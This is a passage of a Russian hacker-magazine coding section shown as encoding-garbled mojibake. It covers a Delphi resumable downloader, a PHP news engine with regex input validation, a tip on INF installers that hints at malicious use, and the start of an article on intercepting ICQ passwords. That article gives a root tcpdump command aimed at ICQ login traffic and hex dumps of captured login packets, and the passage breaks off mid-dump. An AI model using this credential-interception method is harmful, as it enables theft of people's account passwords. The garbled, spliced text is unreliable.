ÿ çàïóñòèë äîêà÷êó è óñïåøíî ñëèë ôàéë. Çàìåòü, ñ âåñüìà íåïëîõîé ñêîðîñòüþ,<br />

à âñå ýòî áëàãîäàðÿ êîìïàíèè ìàéêðîñîôò è íàøèì ñ òîáîé ïðÿìûì ðó÷êàì.<br />

79<br />

Äàóíëîàä êîìïëèò!<br />

ÇÀÊËÞ×ÅÍÈÅ<br />

Ïðîãðàììà ïîëó÷èëàñü î÷åíü ïðîñòîé, è â òâîèõ ðóêàõ âîçìîæíîñòü äîâåñòè åå äî<br />

íóæíîãî óðîâíÿ: óáðàòü öèêë â îòäåëüíûé ïîòîê, à èíà÷å áóäåò òîðìîçèòü èíòåðôåéñ,<br />

äîáàâèòü ðàçëè÷íûå ïðîãðåññáàðû è ïðî÷óþ ïðèÿòíóþ ëàáóäó (][ îá ýòîì ïèñàë íå<br />

ðàç). Èñõîäíèêè, êàê âñåãäà, ìîæåøü âçÿòü íà ñàéòå www.cydsoft.com/vronline<br />

- íå áóäåì íàðóøàòü òðàäèöèþ. Íà ýòîì âñå. Óäà÷è òåáå è äî íîâûõ<br />

âñòðå÷ â ýôèðå.<br />

Ëèñòèíã<br />

TForm1.BitBtn1Click<br />

procedure TForm1.BitBtn1Click(Sender: TObject);<br />

var F: File;<br />

ResumePos,BufferLen,SumSize: DWORD;<br />

hSession, hURL: HInternet;<br />

Buffer: array[1..1024] of Byte;<br />

err: boolean;<br />

begin<br />

SumSize:=0; ResumePos:=0; //Èíèöèàëèçèðóåìñÿ<br />

AssignFile (F,Edit2.Text); //Ñâÿæåìñÿ ñ ôàéëîì<br />

IF FileExists (Edit2.Text) then //Åñòü ëè íà äèñêå ýòîò ôàéë<br />

begin<br />

Reset(f,1); //Àõ, åñòü? Îòêðîåì!<br />

ResumePos:=FileSize(F); //Îòêóäà äîêà÷àòü<br />

Seek(F, FileSize(F)); //À ïèñàòü áóäåì â êîíåö<br />

end else ReWrite(f,1); //À ðàç íåò, òàê ñîçäàäèì<br />

NADO:= TRUE; //Íàäî êà÷àòü...<br />

//Îòêðûëè ñåññèþ<br />

hSession:= InternetOpen('X-Kachalka',PRE_CONFIG_INTERNET_ACCESS,nil,nil,0);<br />

//È íàø ÓÐË<br />

hURL := InternetOpenURL(hSession,PChar(Edit1.Text),nil,0,0,0);<br />

//Ñêîëüêî òàì íàø ôàéë âåñèò?<br />

InternetQueryDataAvailable(hURL, SumSize,0,0);<br />

label4.Caption:= IntToStr (SumSize); //Ñîîáùèì îá ýòîì<br />

if ResumePos>0 then //Åñëè äîêà÷èâàåì,<br />

begin<br />

InternetSetFilePointer(hURL,ResumePos,nil,0,0); //Òî ñìåñòèìñÿ<br />

end;<br />

REPEAT //Êà÷àåì<br />

err:= InternetReadFile(hURL, @Buffer,SizeOf(Buffer),BufferLen); //×èòàåì áóôåð<br />

IF err= false then //Îøèáêà ÷òåíèÿ<br />

begin<br />

ShowMessage ('Ïðîèçîøåë îáëîì :('); //Ñîîáùèì è âûõîäèì<br />

exit;<br />

end;<br />

BlockWrite(f, Buffer, BufferLen); //Ïèøåì â ôàéë<br />

Application.Processmessages;<br />

UNTIL (BufferLen= 0) Or (NADO= FALSE); //Êà÷àåì, ïîêà íå âñå èëè íàäî<br />

ShowMessage ('Óñïåøíî çàãðóæåíî!');<br />

end;


Êîäèíã<br />

SLASHDOT? ÍÀ PHP - ÕÀËßÂÀ! #2<br />

Íèêèòà «Nikitos» Êèñëèöèí<br />

(nikitoz@real.xakep.ru) http://nikitos.inc.ru<br />

Êîíöåïò<br />

ÍÎÂÎÑÒÍÎÉ<br />

ÄÂÈÆÎÊ<br />

 ïðåäûäóùåì íîìåðå ÿ íà÷àë ðàññêàçûâàòü î ñîçäàíèè ñîáñòâåííîãî àâòîìàòèçèðîâàííîãî<br />

íîâîñòíîãî ïîðòàëà. Íàïîìíþ, òîãäà ìû îïèñàëè öåëûé<br />

ðÿä óçêîñïåöèàëèçèðîâàííûõ ôóíêöèé, êîòîðûå ïëàíèðîâàëîñü èñïîëüçîâàòü<br />

íåïîñðåäñòâåííî â ñîçäàâàåìîé ñèñòåìå. Ñåãîäíÿ æå ðå÷ü ïîéäåò î<br />

êîíöåïöèè ïîñòðîåíèÿ ïîäîáíûõ èíôîðìàöèîííûõ ñèñòåì. Òàêæå ìû çàòðîíåì<br />

òåìó ðåãóëÿðíûõ âûðàæåíèé è èõ èñïîëüçîâàíèÿ äëÿ çàùèòû ñêðèïòîâ<br />

îò çëîóìûøëåííèêîâ. Ýòî îäèí èç âàæíåéøèõ àñïåêòîâ âåá-ïðîãðàììèðîâàíèÿ,<br />

è â íåì òåáå ïðåäñòîèò ðàçîáðàòüñÿ.<br />

Íèêèòà «Nikitos» Êèñëèöèí (nikitoz@real.xakep.ru) http://nikitos.inc.ru<br />

Èòàê, åñòü ìîäóëüíûé ôàéë, â êîòîðîì îïèñàí öåëûé ðÿä âûñîêîóðîâíåâûõ ôóíêöèé.<br />

Ôàêòè÷åñêè, ýòî êóáèêè, ýëåìåíòû êîíñòðóêòîðà "Ëåãî". Èç íèõ òðåáóåòñÿ ñîáðàòü<br />

åäèíîå öåëîå, ïðåäñòàâëÿþùåå íåêîòîðóþ âàæíîñòü äëÿ ñáîðùèêà :). Êîä<br />

ñêðèïòà ñòðîèòñÿ ñëåäóþùèì îáðàçîì: â çàâèñèìîñòè îò ïåðåäàâàåìîãî ñöåíàðèþ<br />

ïàðàìåòðà âûçûâàþòñÿ òå èëè èíûå ôóíêöèè. Êîìáèíèðóÿ èõ íåêîòîðûì îáðàçîì,<br />

ìû ïîëó÷àåì î÷åíü íàãëÿäíûé ñöåíàðèé. Îí êîìïàêòíûé, óäîáî÷èòàåìûé è, ÷òî íåìàëîâàæíî,<br />

ýôôåêòèâíûé â ïëàíå ðåñóðñîâ. Äåëî â òîì, ÷òî ìîäóëüíàÿ îðãàíèçàöèÿ<br />

ïðèëîæåíèé (ëþáûõ, íåâàæíî íà êàêîì ÿçûêå îíè íàïèñàíû) ïîçâîëÿåò äîâîëüíî<br />

ñèëüíî ýêîíîìèòü ïàìÿòü. Òàê, íàïðèìåð, ïðè âûçîâå ñöåíàðèÿ ñ ñîòíåé èñïîëüçóåìûõ<br />

ïåðåìåííûõ, âñå îíè ðàçîì èíèöèàëèçèðóþòñÿ. Åñëè æå ñóùåñòâåííàÿ èõ<br />

÷àñòü èñïîëüçóþòñÿ â áëîêàõ, âûçûâàåìûõ ëèøü ïî ìåðå íåîáõîäèìîñòè, òî è ïàìÿòè<br />

áóäåò ðàñõîäîâàòüñÿ ìåíüøå, ïîñêîëüêó ïåðåìåííûå ñîçäàþòñÿ ëèøü ïðè âûçîâå<br />

ôóíêöèè è óíè÷òîæàþòñÿ ïðè åå çàâåðøåíèè. Êîíå÷íî, â íåáîëüøèõ ñöåíàðèÿõ<br />

ýòî íå òàê âàæíî, îäíàêî ïðè íàïèñàíèè äåéñòâèòåëüíî êðóïíûõ ïðîåêòîâ, ðàññ÷èòàííûõ<br />

íà áîëüøóþ íàãðóçêó, ýòèì ïðåíåáðåãàòü íåëüçÿ. Ýêîíîìèÿ ðåñóðñîâ ìîæåò<br />

áûòü î÷åíü è î÷åíü ñóùåñòâåííîé. Âîçâðàùàÿñü ê îïèñûâàåìîìó ñëó÷àþ, ñëåäóåò<br />

çàìåòèòü, ÷òî, õîòü æåñòêîé íåîáõîäèìîñòè â òàêîì ïîäõîäå íåò, îðãàíèçîâûâàòü<br />

ñâîè ïðèëîæåíèÿ òàêèì îáðàçîì - çàìå÷àòåëüíàÿ ïðèâû÷êà, êîòîðàÿ â áóäóùåì, åñëè<br />

òû, êîíå÷íî, áóäåøü çàíèìàòüñÿ ïðîãðàììèðîâàíèåì, ïîìîæåò ñýêîíîìèòü òåáå<br />

êó÷ó âðåìåíè è íåðâîâ. À îáå ýòè íåîñÿçàåìûå ñóáñòàíöèè, êàê èçâåñòíî, èìåþò<br />

ñâîéñòâî óõîäèòü áåçâîçâðàòíî.<br />

Ñèñòåìà â ðàáîòå<br />

Âûðàæàéñÿ ðåãóëÿðíî!<br />

Ðàññìîòðèì ýòîò ïðèåì áîëåå ïîäðîáíî íà ïðèìåðå: äîïèøåì íàø ìàëåíüêèé<br />

slashdot. Åñòü ñêðèïò index.php, åñëè åìó íå ïåðåäàíî çíà÷åíèå ïåðåìåííîé $do<br />

(ýòî îïðåäåëÿþùèé äåéñòâèÿ ñöåíàðèÿ ïàðàìåòð), òî îí ïîêàçûâàåò ñòðî÷êó íàâèãàöèè<br />

ïî ðàçäåëàì è ïîñëåäíèå äîáàâëåííûå ïóáëèêàöèè. Òàê è ïèøåì: . Êîðîòêî è ÿñíî - â ñòèëå php :). Íàïîìíþ,<br />

÷òî â îïèñàíèè ôóíêöèè showposts äëÿ êàæäîãî èç ïàðàìåòðîâ ïðåäóñìîòðåíû<br />

çíà÷åíèÿ ïî óìîë÷àíèþ, êîòîðûå â äàííîì ñëó÷àå íàñ ïîëíîñòüþ óäîâëåòâîðÿþò.<br />

Ýòîò êîä âûâîäèò êðàòêóþ èíôîðìàöèþ î ïîñëåäíèõ 20 ïîñòèíãàõ, ñîçäàâàÿ äëÿ<br />

êàæäîãî èç íèõ ññûëêè "[more...]", èìåþùèå ñëåäóþùèé âèä: . Ëåãêî çàìåòèòü, ÷òî ïðè íàæàòèè íà òàêîé ëèíê,<br />

ñêðèïòó áóäóò ïåðåäàíû ïàðàìåòðû do=read è pid=íîìåð_ïóáëèêàöèè. Ïîäðàçóìåâàåòñÿ,<br />

÷òî äëÿ $do="read" ïðåäóñìîòðåíà ôóíêöèÿ ïðîñìîòðà ñòàòüè $pid:<br />

<br />

Ôóíêöèÿ addcommentform($pid) ñîçäàåò html-ôîðìó äëÿ îòïðàâêè êîììåíòàðèÿ ê<br />

ïóáëèêàöèè, â ñêðûòîì ïîëå êîòîðîé ïàðàìåòð $do îïðåäåëÿåòñÿ êàê "addcomment".<br />

Êîä äëÿ ýòîãî ñîñòîÿíèÿ íå çàñòàâëÿåò ñåáÿ äîëãî æäàòü: . Âñå ïðèíèìàåìûå<br />

ôóíêöèåé ïàðàìåòðû ïîëó÷àþòñÿ èç ôîðìû, $pid - èç åå ñêðûòîãî ïîëÿ.<br />

Ñîâñåì çàáûë ïðî ñòðîêó íàâèãàöèè, âûâîäèìóþ ôóíêöèåé navigation()! Íàçâàíèå<br />

êàæäîé ðóáðèêè ïðåäñòàâëÿåò ñîáîé ññûëêó, ïðè íàæàòèè íà êîòîðóþ ïîëüçîâàòåëþ<br />

áóäóò ïîêàçàíû ïóáëèêàöèè ïî îïðåäåëåííîé òåìàòèêå. Ïàðàìåòð do â ýòîì ñëó÷àå<br />

èìååò çíà÷åíèå view, à èäåíòèôèêàòîð ðóáðèêè íàçûâàåòñÿ cat. Îáðàáîò÷èê ýòîãî<br />

ñîñòîÿíèÿ ïåðåìåííîé $do èìååò ñëåäóþùèé âèä: . Ñëåäóåò îòìåòèòü, ÷òî â ýòîì ñëó÷àå ïðè âûçîâå ôóíêöèè showposts<br />

ïåðåîïðåäåëÿåòñÿ ëèøü îäèí ïàðàìåòð, çíà÷åíèÿ îñòàëüíûõ îñòàþòñÿ äåôîëòíûìè.<br />

Âñå, ìû äîïèñàëè þçåðñêóþ ÷àñòü èíòåðôåéñà.<br />

80<br />

Íåîáû÷íûå þçåðû<br />

Íè÷åãî íå çàáûëè? Âåðíî, êîå-÷òî çàáûëè. Çàáûëè, ÷òî ñðåäè îáû÷íûõ ïîëüçîâàòåëåé<br />

âñòðå÷àþòñÿ ïîëüçîâàòåëè íåîáû÷íûå, ëþáîçíàòåëüíûå è çëîíàìåðåííûå. Ïðîáëåìà<br />

çàêëþ÷àåòñÿ â òîì, ÷òî ñèñòåìà íàøà íèêàê íå çàùèùåíà îò èõ äåÿíèé. Ñàìûé<br />

ïðîñòîé è äåéñòâåííûé êëþ÷ ê ðåøåíèþ ýòîé ïðîáëåìû - îòñåèâàíèå âõîäíûõ<br />

ïàðàìåòðîâ, îïðåäåëÿåìûõ ëèáî íàïðÿìóþ, ëèáî êîñâåííî ïîëüçîâàòåëåì.


Ðåçóëüòàò äîâåðèòåëüíîé íàñòðîéêè èíòåðïðåòàòîðà<br />

è èñïîëüçîâàíèå äûðÿâîé âåðñèè php :)<br />

Ïîìíè: íèêîãäà íåëüçÿ äîâåðÿòü ïîëüçîâàòåëþ. Åñëè ïîëüçîâàòåëü<br />

ìîæåò ÷òî-òî ñäåëàòü, òî îí îáÿçàòåëüíî ýòî ñäåëàåò!<br />

Íî íåò íåîáõîäèìîñòè ÷àñàìè ëîìàòü ãîëîâó íàä òåì, ÷åðåç<br />

êàêèå æå äûðû è êàêèì îáðàçîì çëîóìûøëåííèê ìîæåò íàâðåäèòü<br />

ñèñòåìå. Êóäà ïðîùå íå ïóñêàòü ê îáðàáîòêå äàííûå,<br />

èìåþùèå çàâåäîìî íåâåðíûé ôîðìàò. Òàê, íàïðèìåð, íîìåð<br />

ñòàòüè ìîæåò ñîñòîÿòü òîëüêî èç öèôð, ïðè÷åì èõ äîëæíî<br />

áûòü ðàçóìíîå êîëè÷åñòâî. Äëÿ ñðàâíåíèÿ ñòðîê ñ çàäàííûì<br />

øàáëîíîì â PHP ðåàëèçîâàíû ôóíêöèè unix'îâûõ ðåãóëÿðíûõ<br />

âûðàæåíèé. Ýòî, íàäî çàìåòèòü, ÷ðåçâû÷àéíî ãèáêàÿ òåõíîëîãèÿ,<br />

èñïîëüçóåìàÿ óæå íåñêîëüêî ëåò. Ðåãóëÿðíîå âûðàæåíèå<br />

ÿâëÿåòñÿ øàáëîíîì, îïèñûâàþùèì ïðèðîäó è ñòðóêòóðó<br />

èñêîìîé ñòðîêè. Ôóíêöèÿ ereg(regexp, string) âîçâðàùàåò ëîãè÷åñêîå<br />

true, åñëè ñòðîêà string ñîîòâåòñòâóåò øàáëîíó regexp.<br />

Î÷åâèäíî, ÷òî îñíîâíîé çàäà÷åé áóäåò ñîñòàâëåíèå ýòîãî<br />

ñàìîãî øàáëîíà. Îí ñîáèðàåòñÿ èç êîíêðåòíûõ ñèìâîëîâ,<br />

äèàïàçîíîâ çíà÷åíèé è ñïåöèàëüíûõ çíàêîâ, íàêëàäûâàþùèõ<br />

äîïîëíèòåëüíûå îãðàíè÷åíèÿ íà ñòðóêòóðó ñòðîêè. Äèàïàçîí<br />

ñèìâîëîâ áåðåòñÿ â êâàäðàòíûå ñêîáêè. Íàïðèìåð [a-z] îáîçíà÷àåò<br />

ëþáóþ ëàòèíñêóþ áóêâó íèæíåãî ðåãèñòðà, à [0-9] ýêâèâàëåíòíî<br />

ëþáîé öèôðå. Íåñêîëüêî êîíêðåòíûõ ñèìâîëîâ<br />

ìîãóò ïåðå÷èñëÿòüñÿ áåç âñÿêîãî ðàçäåëèòåëÿ òàêæå âíóòðè<br />

[]. Ñòàâÿ ^ ïåðåä èñêîìîé ñòðîêîé è $ â åå êîíöå, ïðîãðàììèñò<br />

óêàçûâàåò, ÷òî ñòðîêà îáÿçàòåëüíî äîëæíà íà÷èíàòüñÿ è<br />

çàêàí÷èâàòüñÿ óêàçàííûìè ñèìâîëàìè. Ìîæíî òàêæå íàêëàäûâàòü<br />

îãðàíè÷åíèÿ íà êîëè÷åñòâî óêàçàííûõ çíàêîâ, ñòàâÿ<br />

ïîñëå ïåðå÷èñëåíèÿ ñèìâîëîâ ïàðó ÷èñåë ôîðìàòà {x, y}, îïðåäåëÿþùèõ,<br />

ñîîòâåòñòâåííî, ìèíèìàëüíîå è ìàêñèìàëüíîå<br />

êîëè÷åñòâî çíàêîâ â ñòðîêå.<br />

Îòëè÷íàÿ êíèãà ïî ðåãóëÿðíûì âûðàæåíèåì.<br />

Âïðî÷åì, O'Reilly ïëîõèõ êíèã íå âûïóñêàåò<br />

Ïðèìåðû. ^x{2,3}$ ñîîòâåòñòâóåò "xx" è "xxx", .{2} - ëþáîìó<br />

óäâîåííîìó ñèìâîëó, à ^[a-zA-Z0-9]{1,40}@[a-zA-Z0-<br />

9]{3,30}.[a-zA-Z0-9\.]{2,40}$ çàäàåò e-mail. Äî çíàêà "@" ñòîèò<br />

íå áîëåå 40 ëàòèíñêèõ çíàêîâ èëè öèôð. Ïîñëå "@" è äî<br />

"." íå áîëåå 30 àíàëîãè÷íûõ ñèìâîëîâ. Ïîñëå ïåðâîé òî÷êè<br />

äîïóñêàåòñÿ íàëè÷èå íå áîëåå ñîðîêà ñèìâîëüíûõ çíàêîâ, íå<br />

èñêëþ÷àåòñÿ òàêæå è íàëè÷èå òî÷åê. Ýòî íåîáõîäèìî, åñëè,<br />

íàïðèìåð, e-mail þçåðà ôóíêöèîíèðóåò íà äîìåíå òðåòüåãî<br />

óðîâíÿ.<br />

Òåïåðü òû ìîæåøü íàïèñàòü ðÿä ôóíêöèé äëÿ ïðîâåðêè âàëèäíîñòè<br />

ïîëó÷àåìûõ îò ïîëüçîâàòåëÿ ïàðàìåòðîâ. Îáðàáàòûâàòü<br />

íåêîððåêòíûå â ñèíòàêñè÷åñêîì ñìûñëå äàííûå îïàñíî.<br />

Ïðåæäå ÷åì ñêàðìëèâàòü êàêóþ-ëèáî èíôîðìàöèþ ôóíê-<br />

81<br />

öèè, âçàèìîäåéñòâóþùåé ñ áàçîé äàííûõ, îáÿçàòåëüíî íàäî ïðîâåðÿòü êàæäûé ïàðàìåòð,<br />

äëÿ ÷åãî î÷åíü óäîáíî ïîëüçîâàòüñÿ îïèñàííûìè áëîêàìè. Íàïðèìåð, ïðîöåäóðà<br />

ïðîâåðêè âàëèäíîñòè àäðåñà ýëåêòðîííîé ïî÷òû:<br />

function isemail($email)<br />

{<br />

if(ereg("^[a-zA-Z0-9]{1,40}@[a-zA-Z0-9]{3,30}.[a-zA-Z0-9\.]{2,40}$", $email))<br />

{ return true; } else {return false;}<br />

}<br />

Ïî àíàëîãèè ðàáîòàþò è îñòàëüíûå ôóíêöèè, íàäåþñü, òû èõ çàïðîñòî íàïèøåøü.<br />

Àäìèíèñòðàòèâíûé èíòåðôåéñ<br />

Ââåäåí íåâåðíûé ïàðîëü<br />

Ôîðìà àóòåíòèôèêàöèè àäìèíèñòðàòîðà<br />

Àäìèíèñòðàòèâíûé èíòåðôåéñ ñîçäàåòñÿ òàêèì æå îáðàçîì. Îïèñûâàåòñÿ ðÿä ôóíêöèé<br />

(àâòîðèçàöèÿ, ïðîñìîòð ñïèñêà ñòàòåé, äîáàâëåíèå/óäàëåíèå/ðåäàêòèðîâàíèå ïóáëèêàöèè<br />

è ò.ä.) è ïî àíàëîãèè ñ ïðèâåäåííûì ïðèìåðîì èç íèõ ñîáèðàåòñÿ åäèíûé áëîê.<br />

Ñòîèò ëèøü çàìåòèòü, ÷òî äëÿ àäìèíèñòðàòèâíîãî èíòåðôåéñà ïðîáëåìû áåçîïàñíîñòè<br />

òàêæå àêòóàëüíû. Òàê ÷òî óæ, ïî êðàéíåé ìåðå, ôóíêöèþ àâòîðèçàöèè ïîëüçîâàòåëÿ<br />

íàäî ïèñàòü êàê ñëåäóåò. Óäà÷è. Çàáðàòü êîíå÷íóþ âåðñèþ ñèñòåìû ìîæíî êàê âñåãäà<br />

ñ ìîåãî ñàéòà, ëèáî ñ äèñêà. Åñëè ÷òî-òî íå ïîëó÷àåòñÿ, ïèøè, ïîñòàðàþñü ïîìî÷ü.<br />

Tips&Tricks<br />

Ñðåäñòâàìè âèíäîâ ìîæíî ñäåëàòü<br />

èíñòàëëÿòîð. Åñòü òàêèå<br />

ôàéëû INF. Çàïóñêàþòñÿ îíè<br />

ñòðî÷êîé "C:\WIN98\rundll.exe<br />

setupx.dll,InstallHinfSection<br />

DefaultInstall 132". Ôàéëî ðàçáèòî<br />

íà ñåêöèè. [DestinationDirs] –<br />

äèðû, êóäà è îòêóäà êîïèðîâàòü/óäàëÿòü.<br />

Òóò âñå ëåãêî. Ïîòîì<br />

â ëþáîé ñåêöèè â íà÷àëå ïèøåøü:<br />

AddReg=mazafaka.addreg<br />

- äîáàâèòü â ðååñòð,<br />

DelReg=mazafaka.delreg – óäàëèòü,CopyFiles=mazafaka.copyfiles<br />

- êîïèðèòü ôàéëî,<br />

DelFiles=mazafaka.delfiles – óäàëèòü.<br />

Åùå åñòü î÷åíü ìíîãî ñåêöèé:<br />

UpdateIni,RemoveBackUp è<br />

ò. ä. Ìåñòà íå õâàòèò îïèñûâàòü.<br />

Çàãëÿíè â %windir%\inf\, òàì ïî-<br />

÷èòàåøü, ÷òî íàïèñàëè äðóãèå!<br />

Èçó÷àé âñå Ìåòîäîì_Òûêà, è ó<br />

òåáÿ âñå ïîëó÷èòñÿ.<br />

ÇÛ. Ìîæíî èç ýòîãî ñäåëàòü<br />

"ñâèíüþ". ;)<br />

Ñïèðèäîíîâ Ñòàñ aka V4nD4LL<br />

v4nd4ll@samtel.ru


Êîäèíã<br />

ÏÅÐÅÕÂÀÒ ICQ ÏÀÐÎËÅÉ<br />

Êîíñòàíòèí Êëÿãèí http://konst.org.ua<br />

×òîáû äîñòè÷ü íàøåé öåëè, áóäåò âïîëíå äîñòàòî÷íî ðàçîáðàòü ëîãèí-ïàêåò. Ëîãè÷íî<br />

ïðåäïîëîæèòü, ÷òî òîëüêî îí è ñîäåðæèò íóæíîå íàì ïîëå - ïàðîëü. ×òîáû ðàñøèôðîâàòü<br />

ñòðóêòóðó òàêîãî ïàêåòà, íàðÿäó ñ êàêèì-íèáóäü ICQ-êëèåíòîì íàì ïîíàäîáèòñÿ<br />

ñíèôåð. Êîíå÷íî, äëÿ ýòèõ öåëåé åñòü ìàññà íàâîðî÷åííûõ èíñòðóìåíòîâ, ñ òàêîé<br />

æå íåñëàáîé ïðîöåäóðîé èíñòàëëÿöèè è ìàíóàëîì íà ïàðó ñîòåí ñòðàíèö. Íàì ýòî íå<br />

ïîäõîäèò. Çà÷åì? Âåäü äëÿ äàííîé çàäà÷è ñãîäèòñÿ ñàìûé ÷òî íè íà åñòü ñòàíäàðòíûé,<br />

áûòîâîé tcpdump. Óòèëèòà ýòà âõîäèò ïî÷òè â êàæäûé äèñòðèáóòèâ Linux è èìååò<br />

äîñòàòî÷íîå êîëè÷åñòâî âñåâîçìîæíûõ ïàðàìåòðîâ, óïðàâëÿþùèõ åå ïîâåäåíèåì.<br />

Ñíèôèì ICQ-ïàêåòû<br />

Èòàê, èìååòñÿ: ðîóòåð ïîä êàêèì-íèáóäü þíèêñîì (ó ìåíÿ Linux) è âèíäîâàÿ ìàøèíà<br />

ñ ICQ. Âïðî÷åì, ñîâñåì íå îáÿçàòåëüíî èìåòü äâà ðàçíûõ êîìïà. Íàñòîÿùèå ñåòåâûå<br />

õóëèãàíû ïî äîñòîèíñòâó îöåíèëè VMWare - ôàêòè÷åñêè ýìóëÿòîð êîìïüþòåðà, íà êîòîðîì<br />

"â îêîøêå" ìîæíî çàïóñòèòü ïðàêòè÷åñêè ëþáóþ ÎÑ. Òàê âîò, çäåñü èìååòñÿ èíñòàëëÿöèÿ<br />

Linux, â íåé çàïóùåí VMWare ñ Windows 98. Îáå ñèñòåìû îáùàþòñÿ ïî âèðòóàëüíîé<br />

TCP/IP ñåòè, äà è âåñü òðàôèê ïðîõîäèò ÷åðåç Linux - êàê ðàç òî, ÷òî íóæíî.<br />

Çàïóñêàåì tcpdump èç-ïîä root:<br />

# tcpdump -X -s 65535 -i any -l 'dst host login.icq.com && src host vasya.ournet.int' | less<br />

Âñå ýòî çíà÷èò, ÷òî ñíèôåð áóäåò âûâîäèòü ïàêåòû öåëèêîì (-s 65535 - ìàêñèìàëüíàÿ<br />

äëèíà), âìåñòå ñ äàìïîì hex (-X). ×òîáû íå çàìîðà÷èâàòüñÿ, ñåòåâîé èíòåðôåéñ - ëþáîé<br />

(-i any). Ïîñëåäíèé ïàðàìåòð - ëîãè÷åñêîå âûðàæåíèå, îïðåäåëÿþùåå ôèëüòð äëÿ<br />

îòîáðàæàåìûõ ïàêåòîâ.  íàøåì ñëó÷àå îíî îçíà÷àåò "ïîêàçûâàòü òðàôèê, ïðåäíàçíà÷åííûé<br />

ìàøèíå login.icq.com, èäóùèé îò vasya.ournet.int". Ïîñëåäíåå - èìÿ ìàøèíû<br />

ñ Windows. Ìîæíî ïîñòàâèòü íå õîñò, à ïðîñòî IP-àäðåñ. Ïðè íåçíàíèè âñåãî ýòîãî<br />

è ïîëíîé óâåðåííîñòè â òîì, ÷òî íèêàêèõ ICQ-êëèåíòîâ â Ñåòè áîëüøå íåò, ÷àñòü<br />

àðãóìåíòîâ ïîñëå "&&" ìîæíî îïóñòèòü. Ñ ïîìîùüþ "| less" (èëè "| more") áóäåì ñìîòðåòü<br />

âûâîä. ×òî æå ìû óâèäèì?<br />

12:37:11.598962 vasya.ournet.int.1057 > ibucp-vip-m.blue.aol.com.5190: S<br />

19249:619249(0) win 8192 (DF)<br />

0x0000 4500 0030 e600 4000 8006 9db6 c0a8 ae02 E..0..@.........<br />

0x0010 400c c859 0421 1446 0009 72f1 0000 0000 @..Y.!.F..r.....<br />

0x0020 7002 2000 60ad 0000 0204 05b4 0101 0402 p...`...........<br />

12:37:11.978903 vasya.ournet.int.1057 > ibucp-vip-m.blue.aol.com.5190: . ack<br />

3835389642 win 9520 (DF)<br />

0x0000 4500 0028 e700 4000 8006 9cbe c0a8 ae02 E..(..@.........<br />

0x0010 400c c859 0421 1446 0009 72f2 e49b 66ca @..Y.!.F..r...f.<br />

0x0020 5010 2530 3ccb 0000 0000 0000 0000 P.%0 ibucp-vip-m.blue.aol.com.5190: P 0:138(138)<br />

ack 11 win 9510 (DF)<br />

Ïåðåõâàò<br />

ICQ ïàðîëåé<br />

Ñòðÿïàåì ñíèôåð íà êîëåíêå<br />

Èç äîñòîâåðíûõ èñòî÷íèêîâ ïîñòóïèëà èíôîðìàöèÿ î òîì, ÷òî âñåìè ëþáèìàÿ àñüêà èìååò äîâîëüíî<br />

äûðÿâóþ ñõåìó àóòåíòèôèêàöèè è ïîäêëþ÷åíèÿ ê ñåðâåðó.  îòëè÷èå îò äðóãèõ ïðîãðàìì<br />

äëÿ áûñòðîãî îáùåíèÿ, òàêèõ êàê MSN (.NET) Messenger è Yahoo! Messenger, èñïîëüçóþùèõ<br />

àëãîðèòì MD5 äëÿ ïðîâåðêè ïàðîëÿ ïî êîíòðîëüíûì ñóììàì, â ICQ ïàðîëè ïåðåäàþòñÿ<br />

÷óòü ëè íå â îòêðûòóþ. ×åìó ýòî ó÷èò ìîëîäûõ õóëèãàíñòâóþùèõ ñåòåâûõ ìàíüÿêîâ? Îòâåò<br />

ïðîñò: ïîëüçóÿñü òåì, ÷òî ëîãèí-èíôîðìàöèÿ ïåðåäàåòñÿ ïðè êàæäîì ïîäêëþ÷åíèè ê öåíòðàëüíîìó<br />

ñåðâàêó, ìîæíî íàïèñàòü ñíèôåð, çàíèìàþùèéñÿ àâòîìàòè÷åñêèì "âûêóñûâàíèåì" ïàðîëÿ<br />

èç ñåòåâîãî òðàôèêà. Îá ýòîì è ïîéäåò ñåãîäíÿøíèé ðàçãîâîð.<br />

Êîíñòàíòèí Êëÿãèí http://konst.org.ua<br />

0x0000 4500 00b2 e800 4000 8006 9b34 c0a8 ae02 E.....@....4....<br />

0x0010 400c c859 0421 1446 0009 72f2 e49b 66d4 @..Y.!.F..r...f.<br />

0x0020 5018 2526 f4f1 0000 2a01 6bd0 0084 0000 P.%&....*.k.....<br />

0x0030 0001 0001 0009 3235 3139 3832 3637 3800 ......251982678.<br />

0x0040 0200 068b 5ef9 f50b b500 0300 3349 4351 ....^.......3ICQ<br />

0x0050 2049 6e63 2e20 2d20 5072 6f64 7563 7420 .Inc..-.Product.<br />

0x0060 6f66 2049 4351 2028 544d 292e 3230 3030 of.ICQ.(TM).2000<br />

0x0070 622e 342e 3630 2e31 2e33 3237 382e 3835 b.4.60.1.3278.85<br />

0x0080 0016 0002 010a 0017 0002 0004 0018 0002 ................<br />

0x0090 003c 0019 0002 0001 001a 0002 0cce 0014 . Security &<br />

Privacy -> Password è óáèðàåì ãàëî÷êó ñ "Save password". Íàæèìàåì "Save", ââîäèì<br />

âåðíûé ïàðîëü - ïðîãðàììà çà÷åì-òî åãî ñïðàøèâàåò ïðè èçìåíåíèè íàñòðîåê. Ïîñëå<br />

÷åãî ïûòàåìñÿ çàëîãèíèòüñÿ ñ ðàçíûìè íåïðàâèëüíûìè ïàðîëÿìè, íå çàáûâàÿ íàáëþäàòü<br />

çà òðàôèêîì.<br />

Âîò ïàêåò ñ ïàðîëåì "abcd":<br />

0x0000 4500 00b0 fc00 4000 8006 adf6 c0a8 ae02 E.....@.........<br />

0x0010 400c a199 0424 1446 0011 b946 0d8a 9483 @....$.F...F....<br />

0x0020 5018 2526 9df2 0000 2a01 72b3 0082 0000 P.%&....*.r.....<br />

0x0030 0001 0001 0009 3235 3139 3832 3637 3800 ......251982678.<br />

0x0040 0200 0492 44e2 a000 0300 3349 4351 2049 ....D.....3ICQ.I<br />

0x0050 6e63 2e20 2d20 5072 6f64 7563 7420 6f66 nc..-.Product.of<br />

0x0060 2049 4351 2028 544d 292e 3230 3030 622e .ICQ.(TM).2000b.<br />

0x0070 342e 3630 2e31 2e33 3237 382e 3835 0016 4.60.1.3278.85..<br />

0x0080 0002 010a 0017 0002 0004 0018 0002 003c ...............<<br />

0x0090 0019 0002 0001 001a 0002 0cce 0014 0004 ................<br />

0x00a0 0000 0055 000f 0002 656e 000e 0002 7573 ...U....en....us<br />

82<br />

À âîò - "123":<br />

0x0000 4500 0028 0601 4000 8006 7dbe c0a8 ae02 E..(..@...}.....<br />

0x0010 400c c859 0427 1446 001b 367c 4530 25e8 @..Y.'.F..6|E0%.<br />

